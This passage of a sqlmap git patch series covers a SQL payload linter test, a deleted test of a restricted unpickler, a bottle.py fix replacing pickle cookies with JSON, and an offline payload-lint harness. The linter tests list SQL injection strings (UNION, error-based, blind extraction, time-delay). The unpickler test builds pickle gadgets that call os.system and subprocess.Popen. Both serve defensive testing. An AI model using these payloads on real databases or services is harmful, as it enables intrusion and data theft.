0-flag result here means the catalog itself is sound in all 30 dialects. + +A regression (a newly malformed catalog entry, OR a genuinely new valid dialect +construct the linter does not yet understand) makes the relevant test fail with a +pointer to the offending template. + +stdlib unittest only; Python 2.7 and 3.x; pure-ASCII. +""" + +import os +import re +import sys +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from lib.utils.sqllint import checkSanity + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + +# well-formed fragments/statements that must NOT flag +GOOD = ( + "1 AND 1=1", + "1) AND 5108=5108 AND (7936=7936", + "1)) OR 1=1-- -", + "1' AND '1'='1", + "1 UNION ALL SELECT NULL,NULL,CONCAT(0x71,0x62,0x71)-- -", + "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7176,(SELECT database()),0x71)x FROM information_schema.tables GROUP BY x)a)", + "1 AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),1,1))>64", + "1 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7e,(SELECT version())))", + "SELECT name FROM users WHERE id=1 ORDER BY id", + "SELECT count(*) FROM t WHERE x=1", + "1 WAITFOR DELAY '0:0:5'", +) + +# cross-dialect valid constructs the linter must accept (regression guards for +# the exact false positives that adversarial/catalog runs exposed and fixed) +DIALECT_GOOD = ( + "1 AND id==1", # SQLite '==' equality + "SELECT 1 WHERE (SELECT 1)::text = '1'", # PostgreSQL '::' cast + "SELECT 1 WHERE 9223=LIKE(CHAR(65),UPPER(HEX(1)))", # SQLite LIKE() function + "SELECT NAME FROM SYSMASTER:SYSDATABASES", # Informix 'db:table' + "SELECT $ZVERSION", # InterSystems Cache system var + "SELECT `col` FROM `directory` LIMIT 0,1", # MySQL backtick identifiers + "SELECT LIMIT 0 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS", # HSQLDB space-LIMIT + "SELECT TOP 1 name FROM master..sysdatabases", # MSSQL TOP + db..table + "CONCAT('\\',0x71,(SELECT 1))", # backslash-literal string (ANSI) +) + +# malformed fragments/statements that MUST flag +BAD = ( + "(SELECT id 1 FROM users)", # missing separator + "1 AND 1=(SELECT id 1 FROM users' WHERE tablename='foobar')", # stray quote in scope + "1UNION SELECT NULL", # digit glued to word + "1 AND 5108=5108AND 1=1", # digit glued to keyword + "1 AND 1 = = 1", # doubled operator + "1 AND AND 1=1", # doubled keyword operator + "1 UNION SELECT NULL,,NULL", # empty list item + "1 AND (1=1)(2=2)", # adjacent groups + "SELECT count() FROM t WHERE id=)", # operator before ')' +) + +# queries.xml: attributes that carry SQL (not regexes/markers) +_SQL_ATTRS = ("query", "query2", "query3", "count", "count2", "count3", + "condition", "condition2", "condition3", + "keyset_where", "keyset_next", "keyset_first", "keyset_by", "keyset_ordered", "rowid") +_SKIP_TAGS = ("limitregexp", "comment") + + +def _materialize(s): + """Substitute sqlmap's template markers with structurally-neutral values so a + catalog template becomes lintable SQL (mirrors what agent.py fills in).""" + s = s.replace("[QUERY]", "SELECT 1").replace("[UNION]", "UNION SELECT NULL") + s = s.replace("[INFERENCE]", "1=1") + s = re.sub(r"\[RANDNUM\d*\]", "1", s) + s = re.sub(r"\[RANDSTR\d*\]", "abc", s) + s = s.replace("[SLEEPTIME]", "1").replace("[DELAYED]", "1") + for _ in ("[DELIMITER_START]", "[DELIMITER_STOP]", "[COLSTART]", "[COLSTOP]"): + s = s.replace(_, "0x71") + s = s.replace("[ORIGVALUE]", "1").replace("[CHAR]", "NULL").replace("[GENERIC_SQL_COMMENT]", "-- -") + s = s.replace("[SINGLE_QUOTE]", "'").replace("[DOUBLE_QUOTE]", '"').replace("[DB]", "db") + s = s.replace("[SPACE_REPLACE]", " ").replace("[HASH_REPLACE]", "#") + s = s.replace("[DOLLAR_REPLACE]", "$").replace("[AT_REPLACE]", "@") + s = re.sub(r"\[[A-Z][A-Z0-9_]*\]", "1", s) + s = s.replace("%d", "1").replace("%s", "col").replace("%%", "%") + return s + + +def _queries_atoms(): + """{dbms: sorted list of SQL atom strings} from queries.xml.""" + retVal = {} + root = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")).getroot() + for dbms in root.iter("dbms"): + atoms = set() + for el in dbms.iter(): + if el.tag in _SKIP_TAGS: + continue + for attr in _SQL_ATTRS: + raw = el.get(attr) + if raw and not raw.strip().isdigit(): + atoms.add(raw) + retVal[dbms.get("value")] = sorted(atoms) + return retVal + + +def _payload_atoms(): + """[(file, stype-title, sql)] from data/xml/payloads/*.xml.""" + import glob + retVal = [] + for path in sorted(glob.glob(os.path.join(ROOT, "data", "xml", "payloads", "*.xml"))): + name = os.path.basename(path) + for test in ET.parse(path).getroot().iter("test"): + title = (test.findtext("title") or "").strip() + for tag in ("payload", "vector", "comparison"): + for el in test.iter(tag): + raw = (el.text or "").strip() + if raw: + retVal.append((name, title, raw)) + return retVal + + +class TestLinterSelf(unittest.TestCase): + def test_well_formed_pass(self): + for sql in GOOD + DIALECT_GOOD: + self.assertEqual(checkSanity(sql), [], "false positive on valid SQL: %r" % sql) + + def test_malformed_flag(self): + for sql in BAD: + self.assertTrue(checkSanity(sql), "missed malformed SQL: %r" % sql) + + +# module-level coverage accounting (printed in tearDownModule) +_COVERAGE = {"queries_dbms": 0, "queries_atoms": 0, "payload_atoms": 0} + + +class TestCatalogCoverage(unittest.TestCase): + def test_queries_xml_clean(self): + atoms = _queries_atoms() + _COVERAGE["queries_dbms"] = len(atoms) + total = 0 + for dbms, items in atoms.items(): + for raw in items: + total += 1 + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "queries.xml [%s] malformed atom: %r -> %s" % (dbms, raw, issues)) + _COVERAGE["queries_atoms"] = total + self.assertGreater(total, 1000) # sanity: the catalog was actually walked + + def test_payloads_xml_clean(self): + items = _payload_atoms() + _COVERAGE["payload_atoms"] = len(items) + for name, title, raw in items: + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "%s malformed payload atom (%s): %r -> %s" % (name, title, raw, issues)) + self.assertGreater(len(items), 500) + + +def tearDownModule(): + q = _COVERAGE + total = q["queries_atoms"] + q["payload_atoms"] + sys.stderr.write( + "\n[sqllint coverage] atom-level: %d SQL atoms linted clean " + "(%d queries.xml across %d/30 DBMSes + %d payloads.xml vectors)\n" + % (total, q["queries_atoms"], q["queries_dbms"], q["payload_atoms"])) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_unpickle_security.py b/tests/test_unpickle_security.py deleted file mode 100644 index a3cf63a2e..000000000 --- a/tests/test_unpickle_security.py +++ /dev/null @@ -1,121 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Locks the RestrictedUnpickler security control (lib/core/patch.py, installed over -pickle.loads by dirtyPatches()). sqlmap deserializes pickled blobs out of its own -session DB / cache, so the unpickler is an ALLOWLIST: only safe builtin data types -and sqlmap's own (lib/plugins/thirdparty) classes may be reconstructed. - -Two directions, both of which must keep holding: - - LEGIT round-trips sqlmap actually relies on (AttribDict, BigArray, nested - builtins, and - the easy-to-regress one - bytes under PICKLE_PROTOCOL=2, which - emits a _codecs.encode global) must survive base64pickle -> base64unpickle. - - MALICIOUS / exotic globals (eval, os.system, subprocess.Popen, importlib, - operator.attrgetter, and even the non-whitelisted _codecs.lookup) must be - REJECTED at find_class time, before the object is ever built. - -A regression in either direction is a security or a data-loss bug, hence the test. -""" - -import os -import pickle -import subprocess -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap -bootstrap() # installs dirtyPatches(), i.e. the RestrictedUnpickler over pickle.loads - -from lib.core.bigarray import BigArray -from lib.core.convert import base64pickle, base64unpickle, encodeBase64 -from lib.core.datatype import AttribDict -from lib.core.settings import PICKLE_PROTOCOL - - -class _EvilReduce(object): - """On unpickling, __reduce__ asks the loader to resolve (and would call) an arbitrary global.""" - def __init__(self, func, args): - self._func = func - self._args = args - - def __reduce__(self): - return (self._func, self._args) - - -def _payload(func, *args): - # built with the REAL pickler (only pickle.loads is restricted, not dumps); base64 to mirror - # exactly what base64unpickle() consumes from sqlmap's session store - return encodeBase64(pickle.dumps(_EvilReduce(func, args), PICKLE_PROTOCOL), binary=False) - - -class TestUnpicklerIsInstalled(unittest.TestCase): - def test_patch_active(self): - # if this is False the whole allowlist is bypassed and the negative tests would pass vacuously - self.assertTrue(getattr(pickle, "_patched", False)) - - -class TestLegitRoundTrips(unittest.TestCase): - def _roundtrip(self, value): - return base64unpickle(base64pickle(value)) - - def test_nested_builtins(self): - value = {"a": [1, 2.5, True, None, complex(1, 2)], "b": (u"x", b"y"), "c": {3, 4}, "d": frozenset([5])} - self.assertEqual(self._roundtrip(value), value) - - def test_bytes_protocol2(self): - # protocol-2 pickling of bytes on Python 3 emits a _codecs.encode global; this is the - # exact case the allowlist explicitly permits, and the one most likely to silently break - for value in (b"", b"\x00\x01\x02binary\xff", bytearray(b"abc")): - self.assertEqual(self._roundtrip(value), value) - - def test_attribdict(self): - value = AttribDict() - value.foo = "bar" - value.nested = {"k": [1, 2]} - restored = self._roundtrip(value) - self.assertIsInstance(restored, AttribDict) - self.assertEqual(restored.foo, "bar") - self.assertEqual(restored.nested, {"k": [1, 2]}) - - def test_bigarray(self): - restored = self._roundtrip(BigArray([1, 2, 3])) - self.assertIsInstance(restored, BigArray) - self.assertEqual(list(restored), [1, 2, 3]) - - -class TestMaliciousRejected(unittest.TestCase): - def _assert_blocked(self, payload): - # find_class() raises ValueError; base64unpickle only swallows TypeError, so it propagates - self.assertRaises(ValueError, base64unpickle, payload) - - def test_dangerous_builtins(self): - # builtins are allowed ONLY for the safe data-type subset; callables must be refused - for func in (eval, getattr, __import__): - self._assert_blocked(_payload(func, "1+1") if func is eval else _payload(func, "x")) - - def test_os_system(self): - self._assert_blocked(_payload(os.system, "echo pwned")) - - def test_subprocess_popen(self): - self._assert_blocked(_payload(subprocess.Popen, "echo pwned")) - - def test_importlib(self): - import importlib - self._assert_blocked(_payload(importlib.import_module, "os")) - - def test_operator_attrgetter(self): - import operator - self._assert_blocked(_payload(operator.attrgetter, "system")) - - def test_codecs_lookup_not_whitelisted(self): - # only _codecs.encode is allowed (for the bytes round-trip); every other _codecs name stays blocked - import codecs - self._assert_blocked(_payload(codecs.lookup, "utf-8")) - - -if __name__ == "__main__": - unittest.main() diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index e0b3185d2..56a250b6b 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -96,7 +96,6 @@ if py3k: from http.cookies import SimpleCookie, Morsel, CookieError from collections.abc import MutableMapping as DictMixin from types import ModuleType as new_module - import pickle from io import BytesIO import configparser from datetime import timezone @@ -125,7 +124,6 @@ else: # 2.x from urllib import urlencode, quote as urlquote, unquote as urlunquote from Cookie import SimpleCookie, Morsel, CookieError from itertools import imap - import cPickle as pickle from imp import new_module from StringIO import StringIO as BytesIO import ConfigParser as configparser @@ -1226,7 +1224,7 @@ class BaseRequest(object): sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): - dst = pickle.loads(base64.b64decode(msg)) + dst = json_loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default @@ -1839,14 +1837,13 @@ class BaseResponse(object): expire at the end of the browser session (as soon as the browser window is closed). - Signed cookies may store any pickle-able object and are + Signed cookies may store any JSON-serializable object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers. - Warning: Pickle is a potentially dangerous format. If an attacker - gains access to the secret key, he could forge cookies that execute - code on server side if unpickled. Using pickle is discouraged and - support for it will be removed in later versions of bottle. + Warning: If an attacker gains access to the secret key, he could + forge arbitrary cookies. Prefer storing only plain strings and, if + possible, keep session data server-side instead of in cookies. Warning: Signed cookies are not encrypted (the client can still see the content) and not copy-protected (the client can restore an old @@ -1863,10 +1860,10 @@ class BaseResponse(object): if secret: if not isinstance(value, basestring): - depr(0, 13, "Pickling of arbitrary objects into cookies is " + depr(0, 13, "Storing non-string objects into cookies is " "deprecated.", "Only store strings in cookies. " "JSON strings are fine, too.") - encoded = base64.b64encode(pickle.dumps([name, value], -1)) + encoded = base64.b64encode(tob(json_dumps([name, value]))) sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=digestmod).digest()) value = touni(tob('!') + sig + tob('?') + encoded) @@ -2253,7 +2250,7 @@ class FormsDict(MultiDict): return default def __getattr__(self, name, default=unicode()): - # Without this guard, pickle generates a cryptic TypeError: + # Without this guard, dunder attribute probing generates a cryptic TypeError: if name.startswith('__') and name.endswith('__'): return super(FormsDict, self).__getattr__(name) return self.getunicode(name, default=default) @@ -3069,11 +3066,11 @@ def _lscmp(a, b): def cookie_encode(data, key, digestmod=None): - """ Encode and sign a pickle-able object. Return a (byte) string """ + """ Encode and sign a JSON-serializable object. Return a (byte) string """ depr(0, 13, "cookie_encode() will be removed soon.", "Do not use this API directly.") digestmod = digestmod or hashlib.sha256 - msg = base64.b64encode(pickle.dumps(data, -1)) + msg = base64.b64encode(tob(json_dumps(data))) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=digestmod).digest()) return tob('!') + sig + tob('?') + msg @@ -3088,7 +3085,7 @@ def cookie_decode(data, key, digestmod=None): digestmod = digestmod or hashlib.sha256 hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest() if _lscmp(sig[1:], base64.b64encode(hashed)): - return pickle.loads(base64.b64decode(msg)) + return json_loads(base64.b64decode(msg)) return None From 4b3a36ca515fbfcfa5df822a2b7d98225cab2009 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 12:17:01 +0200 Subject: [PATCH 148/165] Fixes CI/CD error --- lib/core/settings.py | 2 +- tests/test_property.py | 22 +++++++++++----------- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9fe124d05..177257d52 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.40" +VERSION = "1.10.7.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_property.py b/tests/test_property.py index 789eea476..3919b50ff 100644 --- a/tests/test_property.py +++ b/tests/test_property.py @@ -36,9 +36,9 @@ from lib.core.common import (escapeJsonValue, filterStringValue, flattenValue, i prioritySortColumns, randomInt, randomRange, randomStr, safeSQLIdentificatorNaming, sanitizeStr, splitFields, unArrayizeValue, unsafeSQLIdentificatorNaming, urldecode, urlencode, zeroDepthSearch) -from lib.core.convert import (base64pickle, base64unpickle, decodeBase64, decodeHex, dejsonize, encodeBase64, +from lib.core.convert import (decodeBase64, decodeHex, dejsonize, deserializeValue, encodeBase64, encodeHex, getBytes, getConsoleLength, getOrds, getText, htmlEscape, htmlUnescape, - jsonize, stdoutEncode) + jsonize, serializeValue, stdoutEncode) from lib.core.data import kb from lib.utils.safe2bin import safecharencode @@ -71,17 +71,17 @@ def gen_json(rng): return rng.choice([0, 1, -1, 2 ** 31, 1.5, -0.25, True, False, None, u"", u"x", u"\u0107", u'a"b,c']) -def gen_pickle(rng): +def gen_serializable(rng): kind = rng.randint(0, 9) if kind < 5: return rng.choice([0, -7, 2 ** 40, 3.5, True, False, None, u"\u0107x", b"\x00\xff", u""]) if kind < 7: - return [gen_pickle(rng) for _ in range(rng.randint(0, 3))] + return [gen_serializable(rng) for _ in range(rng.randint(0, 3))] if kind < 8: - return tuple(gen_pickle(rng) for _ in range(rng.randint(0, 3))) + return tuple(gen_serializable(rng) for _ in range(rng.randint(0, 3))) if kind < 9: return set(rng.choice([1, 2, 3, u"a", u"b"]) for _ in range(rng.randint(0, 3))) - return dict((u"k%d" % j, gen_pickle(rng)) for j in range(rng.randint(0, 2))) + return dict((u"k%d" % j, gen_serializable(rng)) for j in range(rng.randint(0, 2))) def gen_columns(rng): @@ -131,8 +131,8 @@ class TestCodecRoundTrips(unittest.TestCase): def test_json(self): for_all(self, gen_json, lambda v: dejsonize(jsonize(v)) == v, label="json") - def test_pickle(self): - for_all(self, gen_pickle, lambda v: base64unpickle(base64pickle(v)) == v, label="pickle") + def test_serialize(self): + for_all(self, gen_serializable, lambda v: deserializeValue(serializeValue(v)) == v, label="serialize") def test_html_escape(self): for_all(self, gen_text, lambda s: htmlUnescape(htmlEscape(s)) == s, label="html") @@ -144,11 +144,11 @@ class TestCodecRoundTrips(unittest.TestCase): class TestStructureTransforms(unittest.TestCase): def test_unarrayize_never_listlike(self): # the whole point of unArrayizeValue is that the result is a scalar, never a list/tuple - # (gen_pickle includes sets - they used to crash here; see test_unarrayize_set regression) - for_all(self, gen_pickle, lambda v: not isListLike(unArrayizeValue(v)), label="unarrayize") + # (gen_serializable includes sets - they used to crash here; see test_unarrayize_set regression) + for_all(self, gen_serializable, lambda v: not isListLike(unArrayizeValue(v)), label="unarrayize") def test_flatten_is_flat(self): - for_all(self, gen_pickle, lambda v: all(not isListLike(x) for x in flattenValue([v])), label="flatten") + for_all(self, gen_serializable, lambda v: all(not isListLike(x) for x in flattenValue([v])), label="flatten") def test_unarrayize_set(self): # regression: a 1-element set is list-like but not subscriptable; unArrayizeValue must From 291abb0ee84154d99cfa73887eaf4a8ea3fed9f0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 12:32:05 +0200 Subject: [PATCH 149/165] Minor update --- lib/core/settings.py | 2 +- lib/core/testing.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 177257d52..e46d16d13 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.41" +VERSION = "1.10.7.42" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index a10e33621..765ec4fab 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -51,6 +51,8 @@ def vulnTest(tests=None, label="vuln"): ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), + ("-u --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # session resume (1/2): detect + STORE the injection into the (serialized) session + ("-u --technique=B --banner", ("sqlmap resumed the following injection point(s) from stored session", "Type: boolean-based blind", "banner: '3.")), # session resume (2/2): NO --flush-session, so the injection must round-trip back OUT of the serialized session and still work (guards session serialization/deserialization end-to-end) (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --titles --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'", "~with --string",)), ("-m --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), From 003393442626864cc3896bad1ab2a818238fcca1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 12:43:10 +0200 Subject: [PATCH 150/165] Minor optimization --- lib/core/settings.py | 2 +- lib/core/threads.py | 2 ++ lib/request/comparison.py | 9 +++++++-- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e46d16d13..be28c87c6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.42" +VERSION = "1.10.7.43" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 96d646859..47e8e10ab 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -52,6 +52,8 @@ class _ThreadData(threading.local): self.lastComparisonCode = None self.lastComparisonRatio = None self.lastPageTemplateCleaned = None + self.lastPageTemplateJsonMinimized = None + self.lastPageTemplateStructural = None self.lastPageTemplate = None self.lastErrorPage = tuple() self.lastHTTPError = None diff --git a/lib/request/comparison.py b/lib/request/comparison.py index d2e8bac07..b800f4795 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -132,6 +132,11 @@ def _comparison(page, headers, code, getRatioValue, pageLength): page = removeDynamicContent(page) if threadData.lastPageTemplate != kb.pageTemplate: threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) + # Same template-identity memoization for the structure-aware projections (§below): the + # template is constant across an extraction, so it must not be re-parsed/re-tokenized on + # every inference request - only seq2 (from the live page) is recomputed per response + threadData.lastPageTemplateJsonMinimized = jsonMinimize(kb.pageTemplate) + threadData.lastPageTemplateStructural = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate))) threadData.lastPageTemplate = kb.pageTemplate seqMatcher.set_seq1(threadData.lastPageTemplateCleaned) @@ -178,14 +183,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength): # only on a JSON Content-Type with both bodies parseable; any doubt (or an explicit # --text-only/--titles) falls back to the exact text path below. if _isJsonResponse(headers) and not (conf.titles or conf.textOnly or kb.nullConnection): - seq1 = jsonMinimize(kb.pageTemplate) + seq1 = threadData.lastPageTemplateJsonMinimized # memoized per template (see above) seq2 = jsonMinimize(rawPage) # Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page: # compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio # while a structural change (e.g. a results table appearing/disappearing) still does if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection): - _ = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate))) + _ = threadData.lastPageTemplateStructural # memoized per template (see above) if _: # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text seq1 = _ seq2 = "\n".join(sorted(extractStructuralTokens(rawPage))) From fd009027f76778c6f0d29ac452da9f711f11d0d1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 17:51:37 +0200 Subject: [PATCH 151/165] Adding --payload-lint to CI/CD --- .github/workflows/tests.yml | 5 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 236 ++++++++++++++++++++++++++++++++++++ lib/parse/cmdline.py | 5 +- lib/request/connect.py | 10 ++ lib/utils/sqllint.py | 165 ++++++++++++++++++++++++- sqlmap.py | 5 +- tests/test_sqllint.py | 28 ++++- 9 files changed, 449 insertions(+), 8 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index a6bedc1e6..85ae78c0e 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -122,6 +122,11 @@ jobs: - name: Smoke test run: python sqlmap.py --smoke-test + - name: Payload lint + # offline: emulates blind + UNION enumeration across all DBMSes and checks + # every payload agent.py builds with lib/utils/sqllint (structural sanity) + run: python sqlmap.py --payload-lint + - name: Vuln test run: python sqlmap.py --vuln-test diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 93e929845..3e7fa93c4 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -288,6 +288,7 @@ optDict = { "murphyRate": "integer", "smokeTest": "boolean", "fpTest": "boolean", + "payloadLint": "boolean", "apiTest": "boolean", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index be28c87c6..0cfb735d4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.43" +VERSION = "1.10.7.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 765ec4fab..758d1a8bf 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -547,3 +547,239 @@ def smokeTest(): logger.error("smoke test final result: FAILED") return retVal + +def payloadLintTest(): + """ + Offline payload-sanity coverage test. + + For every supported back-end DBMS an emulation oracle drives the blind + enumeration handlers (no live target), so agent.py builds the full range of + inference payloads it would emit while dumping a schema, and each one is + checked with lib.utils.sqllint. A planted-malformation self-check first + proves the pipeline actually catches a defect, so the gate can never pass + vacuously. + """ + + import lib.core.common as common_module + + from lib.controller.handler import setHandler + from lib.core.agent import agent + from lib.core.common import Backend + from lib.core.datatype import AttribDict + from lib.core.datatype import InjectionDict + from lib.core.enums import PAYLOAD + from lib.core.enums import PLACE + from lib.core.threads import getCurrentThreadData + from lib.request.connect import Connect + from lib.utils.sqllint import checkSanity + + unisonRandom() + + collected = [] + guard = {"count": 0} + CAP_PER_METHOD = 600 + + # A "consistent liar": parse the injected char comparison in whatever form the + # dialect uses (bare int / CHAR(n) / quoted 'x') and answer so counts->'2', + # lengths->small, names->'a'. This keeps every dialect's enumeration walking a + # few shallow levels, exercising the payload builders without a real backend. + def _oracle(value=None, **kwargs): + if value is None: + return None + sql = agent.removePayloadDelimiters(agent.adjustLateValues(value)) + collected.append(sql) + guard["count"] += 1 + if guard["count"] > CAP_PER_METHOD: + raise KeyboardInterrupt + # UNION/inband path reads the response body: hand back a page carrying the + # delimited marker value so extraction "succeeds" and keeps producing payloads + if kwargs.get("content"): + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + return ("x%s%s%s%s%sx" % (start, "1", delim, "1", stop), None, 200) + upper = sql.upper() + match = re.search(r">\s*'(.?)'", sql) + if match: + return True if match.group(1) == "" else (50 if "COUNT(" in upper else 97) > ord(match.group(1)) + match = re.search(r">\s*(?:N?CHAR|CHR|NCHR)\s*\(\s*(\d+)", sql, re.I) + if match: + return (50 if "COUNT(" in upper else 97) > int(match.group(1)) + match = re.search(r">\s*(\d+)", sql) + if match: + value_ = int(match.group(1)) + target = 1 if "COUNT(" in upper else (3 if any(_ in upper for _ in ("LENGTH(", "LEN(", "DATALENGTH(")) else 2) + return target > value_ + match = re.search(r"(\d+)\s*(=|<|>=|<=|<>|!=)\s*(\d+)", sql) + if match: + left, operator, right = int(match.group(1)), match.group(2), int(match.group(3)) + return {"=": left == right, "<": left < right, ">=": left >= right, "<=": left <= right, "<>": left != right, "!=": left != right}[operator] + return False + + def _injection(dbms): + injection = InjectionDict() + injection.place = PLACE.GET + injection.parameter = "id" + injection.ptype = 1 + injection.prefix = "" + injection.suffix = "" + injection.clause = [1] + injection.dbms = dbms + boolean = AttribDict() + boolean.title = "AND boolean-based blind" + boolean.vector = "AND [INFERENCE]" + boolean.comment = "" + boolean.payload = "x" + boolean.where = 1 + boolean.templatePayload = None + boolean.matchRatio = None + boolean.trueCode = None + boolean.falseCode = None + injection.data = AttribDict() + injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = boolean + return injection + + def _unionInjection(dbms): + injection = InjectionDict() + injection.place = PLACE.GET + injection.parameter = "id" + injection.ptype = 1 + injection.prefix = "" + injection.suffix = "" + injection.clause = [1] + injection.dbms = dbms + union = AttribDict() + union.title = "Generic UNION query" + # vector = (position, count, comment, prefix, suffix, char, where, + # unionDuplicates, forcePartial, tableFrom, unionTemplate) + union.vector = (0, 3, "-- -", "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + union.comment = "-- -" + union.prefix = "" + union.suffix = "" + union.where = PAYLOAD.WHERE.ORIGINAL + union.templatePayload = None + union.matchRatio = None + union.trueCode = None + union.falseCode = None + injection.data = AttribDict() + injection.data[PAYLOAD.TECHNIQUE.UNION] = union + return injection + + methods = ("getBanner", "getCurrentDb", "getCurrentUser", "getHostname", "isDba", + "getDbs", "getTables", "getColumns", "getSchema", "getUsers", + "getPasswordHashes", "getPrivileges", "getRoles", "getStatements", + "getComments", "getProcedures") + + _stdout = sys.stdout + + def _progress(dbms, count, bad): + # write to the real stdout (sqlmap's is redirected to a sink during the walk) + _stdout.write("[payload-lint] %-26s %7d payloads %s\n" % (dbms, count, ("%d FLAGGED" % bad) if bad else "ok")) + _stdout.flush() 